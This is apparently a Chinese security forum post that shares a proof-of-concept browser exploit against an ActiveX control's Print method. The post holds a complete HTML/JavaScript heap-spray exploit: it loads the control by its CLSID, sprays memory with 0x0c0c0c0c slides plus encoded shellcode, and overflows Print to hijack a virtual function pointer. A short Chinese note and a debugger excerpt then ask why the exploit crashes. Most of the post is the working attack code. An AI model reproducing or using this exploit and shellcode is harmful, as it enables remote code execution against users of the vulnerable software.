<OBJECT id=target classid=clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2></OBJECT>
<SCRIPT>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u9090邐邐邐邐邐邐邐邐邐" +
  "邐邐D䖋謼ռŸ误ᡏ律Ġ" +
  "䧫㒋Ƌ㇮駀蒬瓀섇්숁吻Ф" +
  "律Ĥ曫ಋ譋ᱟ᲋Ƌ觫⑜쌄" +
  "쀱譤぀삅౸䂋謌ᱰ训ࡨ৫肋°" +
  "梋弼噠삃偻Ҋ桟ﺘຊ" +
  "ｗ揧污c");

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("ఌఌ");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress-0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide += spraySlide;
    }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return spraySlide;
}

var  str1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
str=str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+"\x0c\x0c\x0c\x0c";
target.Print(str,1,1,1,1);
</SCRIPT>

这是Print溢出的POC
Print方法产生溢出，导致覆对象数据，这样就可以用heap风水中介绍的方法覆盖虚函数表指针的方法利用，但是实验中总会产生异常，在调用虚函数的地方会产生异常。
02793969    57              push    edi
0279396A    FF12            call    dword ptr [edx]   //edx此时为0c0c0c0c
0279396C    8BE8            mov     ebp, eax

有知道的朋友，还望指教。

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课